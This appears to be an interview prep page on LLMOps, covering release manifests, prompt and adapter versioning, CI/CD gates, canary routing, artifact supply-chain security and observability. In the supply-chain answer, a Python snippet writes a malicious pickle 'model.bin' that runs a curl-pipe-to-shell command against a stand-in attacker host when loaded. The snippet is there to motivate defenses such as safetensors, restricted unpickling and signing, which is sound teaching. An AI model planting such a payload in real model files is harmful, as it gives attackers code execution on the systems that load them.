Skip to content
Tech Interview Prep
Technical interview guide

LLMOps: Deployment, Versioning & Cost Management

Safely shipping changes to prompts, models, and RAG configuration in production, and keeping the resulting system's cost under control.

Minutes to read
4
Practice MCQs
25
Interview Q&A
25
Edition
v5
Editorial status
Reviewed

Scope: SLSA 1.2, OCI Image Spec, OpenFeature specification, Google SRE release/canary guidance, FinOps Framework, Model Cards, Datasheets, PagedAttention, GPTQ, NIST GenAI, and OWASP Supply Chain references reviewed 2026-09-04.

Interview Q&A

Treat each question like a live interview question: answer out loud first (structure, assumptions, tradeoffs), then open the model answer to spot gaps and rehearse a tighter follow-up.

Curated: · Written: · Reviewed:

25 questions

Q&A-1

Define an LLM release manifest.

Answer

The 90-second answer. An LLM release manifest is an immutable, content-addressed record that pins every input capable of changing what the model outputs for a given request. A code release pins a commit; an LLM release has to pin more, because behavior is a function of weights, tokenizer, prompt template, decoding parameters, retrieval index, tool definitions, and runtime: any one of which can shift output while the model name stays the same. The manifest is what makes a response reproducible and a regression attributable. If you cannot name the manifest that produced a bad answer, you cannot roll back to the good one.

A worked example. Values below are illustrative, not defaults.

FieldExample valueWhat breaks without it
release_idrel-2025-03-11.2, content hash sha256:9f2c…Cannot cite the release in a bug report or rollback
appgit commit 4a1e9c7, image digest sha256:…Serving code and manifest drift apart
modelgpt-4o-2024-08-06: dated snapshot, not the moving aliasProvider updates the alias; outputs shift under you
weightss3://…/llama-3.1-8b-instruct-fp16, sha256:…Cannot tell which checkpoint served
tokenizerrevision 8ab4f8c, vocab 128256Token boundaries change; prompts silently truncate
prompt templateprompt_v7.jinja, sha256:…Same input, different rendered prompt
decodingtemperature 0.2, top_p 0.95, max_tokens 512, seed 42Sampling is not reproducible
retrievalindex snapshot idx-2025-03-10, embedding bge-large-en-v1.5, chunk 512 / overlap 64An index built with a different embedding model returns vectors in a different space
toolstool-schema hash, agent-graph versionTool-call format changes between releases
runtimevLLM 0.6.3, CUDA 12.4, region us-east-1Kernel and quantization differences move logits
evaleval run id, 0.91 pass rate on a 240-case suiteNo evidence the release is better
owner@team-search, two approvalsNo accountability when it breaks

How it is used. A request arrives tagged rel-2025-03-11.2. The serving layer looks the manifest up in an immutable registry keyed by content hash, verifies the signature, then loads weights from the pinned URI, loads the pinned tokenizer revision, renders prompt_v7.jinja, applies the decoding block, queries index snapshot idx-2025-03-10, and logs the manifest hash alongside the response. Every response carries the hash that produced it. Rollback is redeploying the previous manifest ID: no code change.

Failure modes. A missing manifest means regression triage is guesswork. A stale manifest is worse than none: it claims prompt_v7 while the deployed code renders prompt_v8, so it lies. An unresolvable alias, a manifest pointing at latest, should fail closed: refuse to serve rather than serve an unknown artifact. Partial pinning is the subtle one: pin weights but not the tokenizer, and a tokenizer upgrade changes token boundaries so a prompt that fit in 4096 tokens now truncates at 3800, degrading quality with no code change and no obvious cause.

Trade-offs. Full pinning has a real cost. Change the embedding model and you must rebuild the index, hours of GPU time, and you forgo provider improvements you would otherwise get for free. A lighter alternative pins only model name plus prompt hash: cheaper, but you cannot attribute a regression to a component. Decide by the cost of a wrong answer. A customer-facing support bot pins model, prompt, index, and decoding. A research prototype may need only a model name and a prompt hash.

Curated: · Written: · Reviewed:

Difficulty: Easy
Q&A-15

How do you version, store, and roll back prompt templates and system prompts independently of model weights, so a prompt change can be evaluated and reverted without redeploying the model?

Answer

Core answer. A prompt is a deployable artifact with its own version, so give it its own release path. Store each prompt version in a registry keyed by content hash, and have the serving path resolve a pointer, prompt version plus model version, at request time from config. Rollback is repointing that pointer. No model redeploy, no container restart, no weight reload.

Concretely: the registry holds immutable blobs (system prompt, template, few-shot examples, tool schemas) addressed by the sha256 of a canonical serialization. A config service or flag provider holds the mutable mapping (env, tenant) -> prompt_ref. Model weights live in a separate, slower-moving artifact store. The two are joined only at request time.

Resolution path. Read the flag, get prompt_ref, fetch the immutable template, render with request variables, build the cache key from prompt_ref + model id + rendered-input hash, call the model. Because templates are content-addressed, the fetch is a cache hit after the first request per version, and logging prompt_ref next to each completion lets you prove which bytes produced any given response.

Evaluate before promoting. Offline: run the candidate against a frozen golden set and compare task accuracy, input/output tokens, and p50/p99 latency against the incumbent. Online: canary at 5% of traffic behind the same flag, scoring a sampled slice. Promote only if the canary stays inside your tolerance band; otherwise the flag never moves.

Rollback. Flip the flag to the previous prompt_ref. In-flight requests finish on the old version; new requests pick up the reverted one. Rollback latency is one config-propagation interval.

Failure modes.

  • Prompt drift: someone edits the template in the app repo or the vendor console. Log the rendered-prompt hash per request and alert when it matches no registry entry.
  • Model/prompt mismatch: a prompt tuned for one model's chat template degrades on another. Detect with an evaluation matrix across the model versions you actually serve.
  • Stale cache, if the cache key omits prompt_ref, a rollback keeps serving the bad prompt's cached outputs. Put the hash in the key.
  • Control-plane outage: rollback is impossible if the flag service is down. Keep a last-known-good prompt_ref on disk and fall back to it.

Storage options.

StoreImmutabilityRuntime updateCost
Git tagscommit SHA immutable; tags can be movedneeds a deploy or sync jobfree
OCI artifactcontent-addressed, signable (cosign/SLSA)pull at startup or on changeregistry storage
Config service / flagversioned entries, audit logimmediate, per-tenantHA dependency

Resolving the pointer.

Python
# Python 3.11, openfeature-sdk 0.7.x
from openfeature import api
from openfeature.evaluation_context import EvaluationContext

client = api.get_client()
ctx = EvaluationContext(attributes={"tenant": tenant_id, "env": env})
prompt_ref = client.get_string_value("prompt_version", "sha256:41ab...", ctx)
template = registry.get(prompt_ref)      # immutable fetch by content hash
rendered = template.render(request_vars)
cache_key = f"{prompt_ref}:{model_id}:{sha256(rendered)}"

Rollback trace (figures illustrative).

  1. 14:02. Canary at 5% of traffic (~4k requests over 20 min) shows task accuracy 0.91 → 0.82; alert fires.
  2. 14:05. Operator sets prompt_version from sha256:9f2c… back to sha256:41ab….
  3. 14:06. New requests resolve the old ref; cache misses on the new key, then warms.
  4. 14:20. Canary accuracy back to 0.91. The bad version stays in the registry for the post-mortem.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-8

How do you version, track, and package fine-tuned LoRA adapters alongside base model weights in an enterprise model registry?

Answer

The 90-second answer. Store the base weights and the adapter as separate, content-addressed artifacts, and never mutate either in place. A release is a manifest that pins three digests (base weights, adapter weights, training dataset) plus the provenance attestation. The serving runtime refuses to hot-load an adapter whose base digest doesn't match the tensors already resident in GPU memory. Merging is a deployment decision recorded in that manifest, not a storage decision: you merge when the serving path can't apply LoRA, and you keep the adapter as the source of truth either way.

Why separate, with the arithmetic. A 70B-class base (80 layers, d_model 8192, 8 KV heads × 128) in BF16 is ~140 GB. A rank-16 adapter on q, k, v, o costs, per layer:

  • q_proj, o_proj: A (16×8192) + B (8192×16) = 262,144 params each
  • k_proj, v_proj: A (16×8192) + B (1024×16) = 147,456 params each

819,200 params per layer × 80 layers = 65.5M params ≈ 131 MB in BF16, roughly 1000:1 against the base. Ten task adapters cost 1.3 GB instead of 1.4 TB, and they can share one resident base engine.

Manifest layout. Media types below are org-defined; the structure is what matters.

my-registry.internal/models/customer-support-lora:v2.1.0
├── oci.image.manifest  (digest sha256:d8c2…)
│   ├── config: <org>.adapter.config.v1+json
│   │   ├── base_model_digest:   "sha256:a1b4…"   # pinned, not a tag
│   │   ├── base_quantization:   "bf16"           # awq | gptq | bf16
│   │   ├── lora_rank: 16, lora_alpha: 32
│   │   ├── target_modules: [q_proj, k_proj, v_proj, o_proj]
│   │   └── training_dataset_digest: "sha256:7c9e…"
│   └── layers:
│       ├── adapter_model.safetensors  (131 MB, <org>.adapter.weights.v1)
│       └── provenance.json            (SLSA v1.0 predicate)

When merging actually wins. Separate storage is the default, not a law. Merge when any of these hold:

ConditionWhy merged wins
Base is quantized (AWQ/GPTQ) and the serving kernel has no LoRA pathThe adapter must be folded into the quantized weights; there is no runtime hook
One adapter per base, latency-boundRemoves the per-layer adapter GEMM and the adapter dispatch; multi-LoRA kernels add per-token overhead and a GPU adapter pool
Air-gapped or edge deliveryOne signed artifact to ship, verify and roll back
Adapter is an input to further training or distillationMerged weights are the checkpoint you train from

The criteria that flip the decision: how many adapters are served concurrently against one base (more than one → keep separate), whether the base is quantized, latency SLO headroom, storage and egress budget, and whether a customer contractually needs a single signed artifact. You can publish both: adapter as source of truth, merged artifact as a derived release whose manifest records the merge recipe.

Registry technology. OCI registries (Harbor, Artifactory, ECR) give you digests, cosign/Sigstore signatures, replication, garbage collection and admission control, but no native model semantics or metrics. MLflow Model Registry gives lineage, aliases and metrics, but weak content addressing and no artifact-level signature verification. An object store plus your own manifest DB gives full control and means you build signing, GC and replication yourself. Git LFS/DVC handles 131 MB adapters fine and 140 GB bases badly.

Lineage and verification.

  1. The adapter manifest pins the base layer digest, never a mutable tag like llama-3-70b:latest.
  2. The training pipeline emits a SLSA v1.0 provenance predicate signed with an internal KMS key, recording the training job commit, dataset snapshot URI, hyperparameters (rank, alpha, dropout) and the input base hash.
  3. On hot-load, the runtime hashes the resident base tensors and compares against base_model_digest; a mismatch aborts the load before traffic routes to the worker.
Failure modeDetectionMitigation
Adapter–base weight driftTensor hash check at loadDigest pin in the config schema blocks hot-load
Quantization scale mismatchShape or scaling-factor mismatch on loadExplicit base_quantization field enforced by the schema
Tampered adapter artifactCosign/Sigstore verification on OCI pullAdmission webhook rejects unsigned digests
Silent base re-quantizationBase digest changes under a stable tagTags are aliases only; releases reference digests

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-2

Secure the LLM artifact supply chain.

Answer

Assumptions. Python/PyTorch shop, models pulled from Hugging Face Hub plus an internal mirror, served on Kubernetes. "Artifact" means weights, tokenizer files, config.json, LoRA adapters, the serving container, and the lockfile that built it.

The 90-second answer. Treat the model file as executable code, because it is. torch.load unpickles, and pickle's REDUCE opcode calls whatever callable the file names. So the pipeline is: pin every artifact by content digest, load it only in a runner with no network egress and no cloud credentials, convert to safetensors, scan, sign the promoted digest, and let admission control refuse anything unsigned. Provenance tells you how the artifact was built; it does not tell you the model is safe to run. Those are two different gates and you need both.

Why the file is code.

Python
import pickle, os
class P:
    def __reduce__(self):
        return (os.system, ("curl -s https://evil.example/x.sh | sh",))
open("model.bin", "wb").write(pickle.dumps(P()))

pickle.dumps calls __reduce__, which returns the callable os.system and its args. The stream is cposix\nsystem\n (the global), the string, then R (REDUCE). pickle.loads resolves the global, builds the tuple, and REDUCE calls it: the shell command runs during load, before any tensor exists. torch.load("model.bin") on PyTorch 2.5 and earlier does exactly that. PyTorch 2.6 flipped weights_only to default True; the restricted unpickler's find_class rejects posix.system and raises UnpicklingError naming the blocked global and pointing at torch.serialization.add_safe_globals. That is an allowlist, not a sandbox: it has grown over time, so it is a strong mitigation, not a proof. safetensors sidesteps the problem: an 8-byte little-endian header length, then JSON of dtype/shape/offsets, then raw bytes. No opcodes, and it memory-maps, so a 16 GB checkpoint doesn't need 16 GB of RAM to inspect.

Controls, and what each one actually buys.

ControlStopsCosts / breaks
Pin revision=<40-hex commit> plus the file SHA-256, never main or a tagUpstream force-push, tag move, repo takeover after your reviewEvery upstream fix is a manual bump; upstream can delete the repo, so mirror it
safetensors only; reject .bin/.pt/.ckpt at admissionPickle RCE at loadOlder checkpoints have no conversion; converting means loading the pickle once: do it in the isolated runner
trust_remote_code=False (the default) and reject any repo whose config.json has auto_mapArbitrary Python executed by from_pretrainedYou lose custom architectures; vendor and review the modeling file yourself
Build runner with no egress, no cloud IAM, ephemeral disk, HF_HUB_OFFLINE=1Exfil of the HF token or cloud creds during a malicious loadNeeds an internal mirror and an allowlisted proxy
SLSA Build L3 provenance, cosign sign the promoted digestSubstitution between build and deploySigning infra; provenance is only as strong as the builder's isolation
Admission control (Kyverno verifyImages, Sigstore policy controller) on @sha256: refs:latest or unsigned images reaching the clusterEvery hotfix goes through the pipeline

Failure modes. A behavioral backdoor: a 30 MB LoRA adapter can flip outputs on a trigger token while matching the base model on your eval set. No hash or SBOM sees this: the weights are exactly what you signed. Detect it by diffing the fine-tune against the base on a held-out trigger corpus and a fixed 200-prompt golden set; if you have no trigger corpus, you are trusting the adapter's provenance and whoever read its training data. A golden-set run on an 8B model is minutes of GPU, not hours.

Silent tokenizer drift: tokenizer.json changes in a patch revision, token IDs shift, accuracy drops with no error. Hash tokenizer and config files separately from the weights and fail the build on any change.

Revocation: you pinned a SHA that turns out malicious. Detection is an inventory keyed by digest, registry query plus cosign and kubectl, and the number that matters is time-to-zero. Rehearse quarterly: pick one digest, revoke it, measure. If finding every deployment takes a week, pinning bought you nothing.

Arithmetic. 8B params at fp16 is 16 GB; SHA-256 at roughly 1.5 GB/s is about 11 s. A 70B fp16 checkpoint is 140 GB, about 95 s. Hashing is noise next to a 20-minute build, so there is no reason to skip it.

When not to. Prototyping: pin the commit, use safetensors, keep trust_remote_code=False, stop there. The full pipeline earns its cost when a model takes production traffic or a fine-tune touches data you can't publish. Don't put admission control on a research cluster: you'll just teach people to bypass it.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-4

Build a compatibility matrix for model artifacts.

Answer

Core answer

Pin five axes, then generate the matrix in CI: never hand-maintain it.

An "artifact" here is a composed serving unit, not a single file. Five axes, each an immutable identity:

  1. Base weights: repo + commit SHA, not main.
  2. Adapter: repo + SHA, plus rank, alpha, and target modules.
  3. Tokenizer + chat template: hash of the template string and the special-token ids.
  4. Serving config: dtype/quantization, max_model_len, engine version.
  5. Hardware/kernel: GPU arch, flash-attn version.

The matrix is the cross-product of the values you actually ship. Each cell is pass/fail from one fixed battery, so a new adapter adds a row, not a new test suite.

Assumptions: Llama-3-8B base, LoRA r=16/alpha=32 on q,k,v,o_proj, HF transformers 4.44 + PEFT 0.12, vLLM 0.6.2, bf16 and AWQ-4bit variants.

The matrix

axispinned valuewhat a mismatch does
baseMeta-Llama-3-8B@<sha>adapter trained on a different revision; weights drift
adapterr=16, alpha=32, targets q,k,v,o_projwrong rank → shape error at load; wrong target → adapter silently not applied
tokenizer/templatetemplate hash + BOS/EOS idstemplate drift → wrong prompt, silent quality loss
dtype/quantbf16, AWQ-4bitbf16 adapter into fp16 base → NaN logits
enginevLLM 0.6.2, flash-attn 2.6kernel change shifts numerics

Each cell runs the same battery: clean load (no warnings, adapter module count matches), golden schema/tool/task/safety prompts, peak memory, and p50/p99 latency.

Python
# transformers 4.44, peft 0.12
from peft import PeftConfig
cfg = PeftConfig.from_pretrained(adapter_id)
assert cfg.base_model_name_or_path == BASE_REPO
assert cfg.r == 16 and cfg.lora_alpha == 32
assert set(cfg.target_modules) <= {"q_proj", "k_proj", "v_proj", "o_proj"}

Merge vs dynamic load

Merge folds W + BA into the base weights: one artifact, zero per-request overhead, but you re-merge per base revision and merging into a quantized base is lossy. Dynamic load keeps base and adapter separate (vLLM --enable-lora, per-request model field): multi-tenant, swap without restart, but every token pays the adapter matmul and you hold adapter weights in memory. Decide by adapter count per base and latency budget: one adapter with a tight p99, merge; many tenants, dynamic.

Failure modes and detection

  • Tokenizer drift: adapter trained with a template that prepends BOS, server template doesn't. Detected by diffing golden-prompt outputs against a stored baseline, not by a load error.
  • Target-module mismatch: adapter targets q_proj but the engine fuses it under another name. VLLM logs "no LoRA modules matched" and serves the base silently. Detect by asserting the loaded adapter module count is greater than zero.
  • dtype mismatch: bf16 adapter into fp16 base gives NaN or degraded logits. Detect with a logit-divergence check on a fixed prompt.

Arithmetic

KV cache per token for Llama-3-8B (32 layers, 8 KV heads, head_dim 128, bf16): 2 x 32 x 8 x 128 x 2 B = 128 KiB/token. At max_model_len=8192 that is 1 GiB per sequence, so a cell that passes correctness can still fail memory once concurrency rises.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-5

Design CI/CD gates for an LLM stack.

Answer

The 60-second answer

An LLM stack ships four things that break each other silently: serving code, prompt/pipeline config, weights plus tokenizer, and the retrieval index. Gate them as one immutable bundle referenced by digest, and make that bundle the unit of promotion: never rebuild between gates. Four gates, ordered by cost: artifact integrity (~3 min), offline suites (~30 min), release approval, progressive exposure. A handful of checks are non-compensable and fail the build alone; everything else fails on a budget. Assumption I'd state up front: we control the serving stack and prompts but consume base weights from a vendor, so quality gates are written as regression margins against a pinned incumbent, not absolute scores.

Gate 1: artifact integrity, every PR, budget 3 minutes

  • Validate manifest.json against a JSON Schema (draft 2020-12) with pydantic v2. It must carry embedding_dim, tokenizer_hash, chat_template_hash, context_window, max_output_tokens. Dimension and chat-template mismatch is the most common deploy-day break and it is a static check.
  • Render every prompt template once per declared variable type, including the empty-string and null cases. A template that formats fine in dev and 500s on a missing variable is caught here or in production.
  • Verify signatures with cosign: cosign verify --certificate-identity-regexp '^https://github.com/acme/llm-stack/' --certificate-oidc-issuer https://token.actions.githubusercontent.com. Require SLSA provenance and a CycloneDX SBOM from syft, scanned by grype.
  • Non-compensable: any unsigned artifact, or a CVSS >= 9.0 vulnerability on a reachable path. Exceptions are a signed waiver with an expiry date, not an allowlist entry.

Gate 2: offline suites, PR subset, full run nightly

Frozen sets, not vibes: 2,000 golden cases for the primary task, 500 for RAG, 300 red-team probes, 200 structured-output cases. RAG scores on Ragas context recall and faithfulness; structured output is a straight JSON Schema conformance count; task quality uses exact match plus a rubric judge.

Pin the judge and prove it: report Cohen's kappa against 200 human-labelled cases. Below 0.6 the judge is a signal, not a gate. Run each case three times at temperature 0 and take the median: temperature 0 is not deterministic across batched inference.

Thresholds: primary-task success no more than 2 points absolute below the pinned incumbent; context recall >= 0.90; 0 of 200 JSON parse failures; 0 of 300 policy violations from red-team probes (non-compensable); p95 time-to-first-token no worse than 15% above baseline at the fixed concurrency in the load profile, read from vLLM's vllm:time_to_first_token_seconds histogram and vllm:num_requests_waiting.

Cost, so you know why this is nightly: 4M tokens per full run at a hypothetical USD 5 per million input tokens is roughly USD 20 and 30 minutes.

Gate 3: release, human plus evidence

The approver sees the digest-to-digest artifact diff, the eval delta with confidence intervals, the cost delta, and the rollback target. Approval is per-digest, and that digest is what reaches production.

Gate 4: progressive exposure

Shadow at mirrored traffic for 24 hours, then canary at 1%. Size it honestly: detecting a 3-point drop from an 85% baseline at alpha 0.05 two-sided and 80% power needs about 2,400 requests per arm, so 4,800 total. At 50k daily requests that is about 10 days of 1% canary, so the canary gates on fast guardrails (error rate, refusal rate, p95 TTFT, vllm:gpu_cache_usage_perc) and the 3-point question stays with the offline suite.

Failure modes and their signals

  • Tokenizer or chat template drift between the artifact and serving config: fluent nonsense. Caught by tokenizer_hash mismatch at load.
  • Index rebuilt under a different embedding model: retrieval returns near-random neighbours and faithfulness collapses. Caught by the manifest's embedding_dim plus a 50-pair smoke test where recall@10 falls.
  • Eval contamination: offline scores rise, online flat. Hash eval prompts against every fine-tuning corpus and keep a held-out slice out of the repo.

When to loosen

Scope gates by what the diff touches: a logging-only change should skip the red-team suite. Never loosen the non-compensable ones. And if a gate false-positives more than about 5% of runs across 20 runs, convert it to a monitoring alert; a gate nobody trusts is worse than no gate.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-3

Design environment promotion for LLM releases.

Answer

Assumptions first. One model family, three environments (dev, staging, prod), a registry that can hold weights, prompt templates and eval reports, and a serving layer that resolves a name to a version at request time. Under those, the design is: every promotable thing is an immutable, content-addressed artifact; an environment is a pointer to artifact IDs; promotion moves the pointer and never edits an artifact.

The LLM-specific part is that a release is not one artifact. It is a bundle of at least four independently versioned things: base weights (or a fine-tune), the adapter/LoRA if any, the prompt template, and the decoding config (temperature, top_p, max_tokens). Plus the eval report that justified the change. Pin all of them by digest in one manifest, sign the manifest, and promote the manifest. That is what makes this different from promoting a config file.

Why alias indirection gives atomic rollback. Serving resolves prod → manifest ID → digests at request time, with a short cache. Rollback is one write: repoint prod to the previous manifest ID. No rebuild, no re-upload of weights, no re-eval. That separation, pointer vs artifact, is the whole reason the design works.

EnvironmentAliasGate to enterTraffic
devdevunit evals passinternal only
stagingstagingfull golden-set eval, no regression > 2%synthetic replay
canarycanarystaging pass + human sign-off5% live
prodprodcanary metrics hold 24h100%

MLflow's registry is a concrete implementation. Note that stages were deprecated in MLflow 2.9 in favour of aliases, so use aliases:

Python
import mlflow
client = mlflow.MlflowClient()
# promote: move the alias, never touch the version
client.set_registered_model_alias("support-llm", "prod", version="17")
# rollback: one write, seconds
client.set_registered_model_alias("support-llm", "prod", version="16")

Signing and verification use Sigstore: cosign sign the manifest at build, and an admission policy in the serving cluster runs cosign verify before a pod may load it. Unsigned manifests never reach prod.

Trade-offs. Immutable-plus-alias costs you a registry and a resolution step. Mutable-in-place is simpler for one developer, but you lose the ability to answer "what exactly served this request at 14:03" and rollback becomes a rebuild. Per-component promotion, ship a prompt fix without re-evaluating weights, is tempting, but a prompt tuned for model A can regress on model B, so you must re-run the eval that couples them. When not to use any of this: a single model, no prompt or config variation, no compliance requirement. A plain deployment pinned to an image digest is enough; the alias layer is overhead.

Failure modes.

  1. Alias cache staleness. Serving caches resolution for 60s, so rollback is not instant. Detect by logging the served manifest ID and alerting when it disagrees with the registry alias for longer than the cache TTL.
  2. Prompt drift. Someone edits the template in the app repo instead of the registry. Detect with a CI check that the template digest in the manifest equals the one loaded at runtime.
  3. Eval gate on the wrong set. The golden set misses the new failure. Detect via canary refusal/error rate plus a held-out set you never tune against.
  4. Signature check skipped. Detect with an admission policy that rejects unsigned manifests, and alert on any pod that started without a verify step.

A worked trace: build manifest 17 (weights digest, prompt digest, config, eval report), sign it, staging passes the 2% gate, canary holds 24h, prod moves to 17. If p95 latency doubles at 5% traffic, repoint prod to 16: one write, and the next request resolves the old bundle.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-6

Design safe shadow evaluation for an LLM release.

Answer

Core answer (first 90 seconds)

Shadow evaluation means the candidate model sees real production requests, but its responses never reach a user and never mutate anything. You mirror a sampled copy of live traffic at the gateway, fan it out asynchronously to the candidate, log both outputs, and score them offline against the baseline. The release decision is a gate on those scores: the shadow run existing is not evidence by itself.

Assumptions I'd state up front: a baseline model is already serving; requests are already consented for logging under the same retention policy; the candidate's tools can be stubbed; and an offline eval set already passes. Shadow is the last gate before a canary, not a substitute for offline tests.

Mechanism

Mirror at the edge, not in the app. The gateway duplicates the request after auth and before the response is written, tags it shadow=true, and drops it into a queue. The user's request path is untouched: the mirror is fire-and-forget with a hard timeout.

Numbers I'd start from:

  • Sample 1–5% of traffic, capped at 5% of baseline QPS (200 rps if baseline is 4k rps). Above that you're paying for a second production.
  • Shadow timeout 2× baseline p99, then drop. A hanging shadow call must not back-pressure the queue.
  • Cost: a 3% mirror at the same token mix is ~3% of inference spend. Budget it explicitly.

Isolation is where shadow runs go wrong. Three things must be separate:

  1. Tools: every side-effecting tool is stubbed or read-only. A shadow run that calls send_email or INSERT is not shadow, it's a canary with no rollback.
  2. Caches: prompt cache, KV cache, and any retrieval index keyed by a shadow namespace. If the candidate writes into the shared prompt cache, the baseline starts reading candidate-generated entries and your comparison is contaminated.
  3. Memory/state: per-session memory and vector-store writes go to a shadow partition, discarded after the run.

Comparison harness

Score both arms with the same evaluator and the same rubric version.

Python
# Python 3.12
def compare(baseline_out, shadow_out, case):
    return {
        "task":    judge(case, baseline_out) - judge(case, shadow_out),  # + = candidate worse
        "safety":  safety_flags(shadow_out) - safety_flags(baseline_out),
        "latency": shadow_out.p95_ms - baseline_out.p95_ms,
        "cost":    shadow_out.usd - baseline_out.usd,
    }

Gate table:

metricgateaction if failed
task successcandidate ≥ baseline − 2 ptsblock
safety violations≤ baseline + 0.1%block
p95 latency≤ baseline × 1.15block
cost/req≤ baseline × 1.10block
shadow error rate< 1%fix harness, rerun

Failure modes

  • Feedback loop: shadow outputs land in the training/log pipeline and get trained on. Tag and exclude them at the log sink.
  • Load amplification: mirroring doubles downstream calls to retrieval or a tool. Cap the mirror and stub downstream.
  • PII drift: shadow logs inherit the request's PII. Apply the same region and retention policy, and redact before storage.
  • Silent contamination: shared cache or shared session store. Detect by asserting shadow and baseline never share a cache key prefix.

When not to use shadow

Shadow gives you no user-visible signal: no clicks, no thumbs. If the question is "do users prefer it," you need a canary or A/B. Shadow is for regression and safety deltas on the real input distribution. If you can't stub the tools or isolate state, don't run shadow; run offline eval on a frozen set instead.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-7

Implement controlled LLM canary routing.

Answer

The 90-second answer

Clarify first: canary routing for an LLM feature means splitting live traffic between a control stack and a canary stack, where "stack" is not a model name. It's the immutable bundle of model version, prompt template, tool definitions, retrieval index, and decoding parameters. The unit of assignment matters more than the split percentage. For anything multi-turn, assign per workflow, not per request, or a conversation crosses behavior versions mid-flight and you end up debugging a chimera.

Assumptions I'd state: authenticated requests, a stable pseudonymous ID per user or workflow, a server-side flag evaluated in-process, and a control stack pinned for the whole experiment.

Then: hash the targeting key with a salted digest into a fixed bucket space, compare against the canary threshold, persist the result so later percentage changes don't re-bucket anyone, and log the variant plus the manifest ID on every request.

Bucketing

Python
import hashlib

BUCKETS = 10_000

def bucket(targeting_key: str, salt: str) -> int:
    digest = hashlib.sha256(f"{salt}:{targeting_key}".encode()).digest()
    return int.from_bytes(digest[:4], "big") % BUCKETS

def variant(targeting_key: str, canary_pct: int, salt: str) -> str:
    return "canary" if bucket(targeting_key, salt) < canary_pct * 100 else "control"

Checked against Python 3.12. salt is the experiment ID, so a new experiment re-shuffles the same users instead of reusing a stale split. In OpenFeature terms, targeting_key is the reserved EvaluationContext attribute that carries this value.

Trace, with a hypothetical digest: for salt="exp-7", targeting_key="tenant-42", suppose sha256("exp-7:tenant-42")[:4] reads as big-endian 0x1F3A2C11 = 523,906,065. Then 523,906,065 % 10,000 = 6,065. At canary_pct=5 the threshold is 5 * 100 = 500, and 6,065 ≥ 500, so this workflow gets control. Raise the canary to 85% and the same key flips to canary, which is exactly why the assignment is persisted rather than recomputed.

One honest wrinkle: 2^32 = 4,294,967,296 is not a multiple of 10,000, so buckets 0–7,295 are hit 429,497 times and the rest 429,496. That's a 1-in-429,497 skew: irrelevant at any traffic level you'd canary at, but worth knowing before someone "fixes" it.

Sticky assignment and manifest pinning

On first evaluation, write assign:{workflow_id} -> {variant, manifest_id} to Redis with a TTL longer than the longest session (say 24h for a chat product). Every subsequent turn reads that key, so percentage changes only affect new workflows. Resolve the manifest before the request (model version, prompt hash, tool set, index version) and put its ID in the log line and the trace span. Without that, a regression report says "canary was worse" and nobody can say which of five things changed.

Alternatives

ApproachCostUse when
Per-request random splitcheapestsingle-shot, stateless calls only
Sticky per-workflow (above)one Redis read per turnmulti-turn agents, anything with memory
Shadow / dark launchduplicate inference spend, no user exposurevalidating latency and error rate before exposure
Full parallel stack A/Bduplicate index, cache, and eval pipelineyou need clean user-facing metrics and can pay for isolation

Don't canary at all when the change is a safety or policy boundary, those ship all-or-nothing, or when you can't hold assignment stable, or when the window can't reach the sample size.

Failure modes and detection

  • Provider unreachable or flag not found: fail to control, never to canary. Detect via provider error rate and the FLAG_NOT_FOUND / PROVIDER_NOT_READY codes OpenFeature surfaces.
  • Missing targeting key: every request hashes the empty string to one bucket, so exposure is 0% or 100%. Detect by asserting the key is non-empty and alerting when observed canary share deviates from target by more than 2 percentage points.
  • Shared cache or index across variants: a workflow that flips reads state written by the other stack. Detect by prefixing cache keys with the manifest ID and watching cross-prefix reads.
  • Regulated or incompatible cohorts: filter before bucketing, not after, so they never enter the assignment table.

Sizing the window

For a two-proportion test at α=0.05 and 80% power, n per arm ≈ 15.68 · p(1−p)/δ². To detect a 2-point drop from a 20% baseline: 15.68 · 0.16 / 0.0004 ≈ 6,300 requests per arm, ~12,600 total. If your canary slice can't reach that inside the window, you're not running an experiment, you're running a demo.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-22

Instrument LLMOps release observability.

Answer

What I'd say first. "Release observability" here means: when I ship a change to a prompt, a model version, a retrieval index, or a tool schema, I can attribute a shift in behaviour or cost to that specific release within minutes. I'll assume a multi-tenant SaaS with one control and one canary arm, OpenTelemetry as the transport, and a gateway that fronts every model call. If any of those is false (no gateway, no canary) the design changes, so I'd confirm before building.

The core is three layers. First, stamp release identity on every span: manifest ID, resolved component versions, cohort. Second, record outcome and cost per request, not per hour. Third, dashboard control versus canary by slice, with a counter that tells you when telemetry itself is missing.

The span. OpenTelemetry's GenAI semantic conventions already define the model and token attributes, so I don't invent names:

Python
from opentelemetry import trace
tracer = trace.get_tracer("llm.gateway")

with tracer.start_as_current_span("chat.completion") as span:
    span.set_attribute("gen_ai.system", "openai")
    span.set_attribute("gen_ai.request.model", "gpt-4o-2024-08-06")
    span.set_attribute("gen_ai.usage.input_tokens", usage.prompt_tokens)
    span.set_attribute("gen_ai.usage.output_tokens", usage.completion_tokens)
    span.set_attribute("release.manifest_id", "rel-2024-11-04.3")
    span.set_attribute("release.cohort", "canary")
    span.set_attribute("release.pricing_version", "2024-10-01")
    span.set_attribute("cache.hit", cache_hit)
    span.set_attribute("outcome", "ok")

Why each field earns its place.

FieldWhat it reveals when it moves
release.manifest_idJoins a latency or cost shift to one of several concurrent changes
release.cohortSeparates canary from control without a separate pipeline
gen_ai.usage.*Token drift: a prompt edit that quietly doubles output length
release.pricing_versionCost per success jumps with flat tokens means the price table is stale
cache.hitA cache-key change that tanks hit rate shows as cost, not latency
outcomeError and safety-refusal rate per arm

Worked example (hypothetical figures). Control and canary each take 5,000 requests over an hour. Control: p95 1.2 s, error rate 0.4%, cost per success $0.0041. Canary: p95 1.9 s, error rate 2.1%, cost per success $0.0068. At 5,000 per arm, a 0.4%→2.1% error gap is roughly 85 extra failures: far outside noise, so I'd halt the canary on error rate alone, before the cost signal even lands.

